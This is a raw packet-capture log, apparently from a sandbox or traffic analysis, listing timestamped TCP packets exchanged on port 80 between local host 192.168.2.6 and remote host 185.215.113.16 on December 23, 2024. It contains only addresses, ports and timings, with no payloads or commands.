Dec 23, 2024 06:54:37.370121956 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.370198965 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.370239019 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.371325970 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.371371984 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.371428013 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.371476889 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.372447014 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.372497082 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.372571945 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.372611046 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.373636007 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.373691082 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.373893976 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.374027967 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.374877930 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.374932051 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.374933004 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.374979019 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.376092911 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.376144886 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.376214027 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.376257896 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.377299070 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.377386093 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.377482891 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.377526999 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.378351927 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.378405094 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.378442049 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.378475904 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.379549980 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.379606009 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.379621983 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.379689932 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.380698919 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.380752087 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.380816936 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.380861044 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.381889105 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.381946087 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.381992102 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.382033110 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.383095026 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.383145094 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.383183002 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.383227110 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.384285927 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.384334087 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.384361982 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.384402037 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.385464907 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.385514975 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.385627031 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.385680914 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.386687994 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.386744976 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.386800051 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.386842966 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.387968063 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.388026953 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.388053894 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.388101101 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.389012098 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.389062881 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.389125109 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.389168978 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.390222073 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.390269041 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.390280008 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.390319109 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.391386032 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.391443014 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.391475916 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.391516924 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.392617941 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.392668009 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.392692089 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.392734051 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.393757105 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.393811941 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.393860102 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.393908024 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.394954920 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.395004034 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.395107031 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.395154953 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.396159887 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.396222115 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.396234989 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.396272898 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.397418976 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.397479057 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.397589922 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.397636890 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.398550987 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.398597956 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.398627043 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.398673058 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.399713039 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.399761915 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.399801016 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.399842024 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.400875092 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.400966883 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.400993109 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.401009083 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.402045965 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.402090073 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.402156115 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.402200937 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.403294086 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.403342962 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.403358936 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.403397083 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.404453993 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.404501915 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.404583931 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.404630899 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.405637980 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.405689001 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.405776024 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.405822992 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.406821012 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.406873941 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.406889915 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.406927109 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.408030033 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.408086061 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.408123016 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.408165932 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.409329891 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.409375906 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.409383059 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.409430027 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.410408974 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.410430908 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.410468102 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.410485029 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.411576986 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.411602974 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.411624908 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.411642075 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.412738085 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.412789106 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.413001060 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.413048983 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.413938046 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.413985014 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.414036036 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.414072037 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.415117979 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.415167093 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.415198088 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.415239096 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.416294098 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.416344881 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.416409016 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.416457891 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.417505026 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.417556047 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.417582989 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.417620897 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.418673992 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.418730021 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.418747902 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.418788910 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.419845104 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.419892073 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.419958115 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.420001030 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.421066046 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.421112061 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.421276093 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.421322107 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.422205925 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.422255993 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.422348022 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.422394037 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.423367023 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.423415899 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.423517942 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.423563957 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.424597979 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.424647093 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.424654961 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.424693108 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.555674076 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.555737972 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.555872917 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.555908918 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.556241035 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.556278944 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.556368113 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.556406975 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.557447910 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.557497025 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.557571888 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.557610035 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.558614969 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.558660030 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.558803082 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.558845043 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.559788942 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.559828997 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.559931040 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.559964895 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.561000109 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.561039925 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.561295033 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.561331034 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.562138081 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.562186003 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.562242031 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.562282085 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.563355923 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.563401937 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.563465118 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.563512087 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.564541101 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.564579010 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.564640999 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.564676046 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.565709114 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.565757990 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.565835953 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.565880060 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.566916943 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.566963911 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.566998959 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.567049980 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.568073988 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.568123102 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.568214893 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.568253040 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.569257975 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.569303989 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.569365025 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.569400072 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.570487976 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.570532084 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.570553064 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.570645094 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.571698904 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.571742058 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.571815014 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.571861982 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.572817087 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.572870016 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.572964907 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.573010921 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.574048996 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.574101925 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.574136019 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.574177980 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.575237036 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.575289965 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.575339079 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.575386047 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.576427937 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.576471090 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.576483011 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.576525927 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.577613115 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.577682018 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.577688932 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.577728987 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.578737974 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.578798056 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.578830004 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.578876972 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.579935074 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.579979897 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.580101013 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.580146074 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.581207037 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.581218958 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.581259966 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.581274033 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.582340002 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.582386017 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.582417965 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.582457066 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.583481073 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.583532095 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.583621979 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.583666086 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.584656954 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.584709883 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.584765911 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.584810019 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.585896969 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.585946083 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.585959911 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.585999012 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.587097883 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.587145090 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.587151051 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.587183952 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.588200092 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.588278055 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.588313103 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.588357925 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.589445114 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.589473009 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.589495897 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.589507103 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.590667009 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.590722084 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.590730906 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.590773106 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.591794014 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.591837883 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.591909885 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.591954947 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.593008995 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.593058109 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.593127012 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.593163967 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.594152927 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.594202042 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.594559908 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.594602108 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.595334053 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.595385075 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.595480919 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.595524073 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.596514940 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.596560001 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.596657991 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.596698046 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.597692966 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.597739935 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.597841978 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.597882032 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.598942041 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.598988056 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.598990917 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.599020958 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.600092888 CET	80	49927	185.215.113.16	192.168.2.6
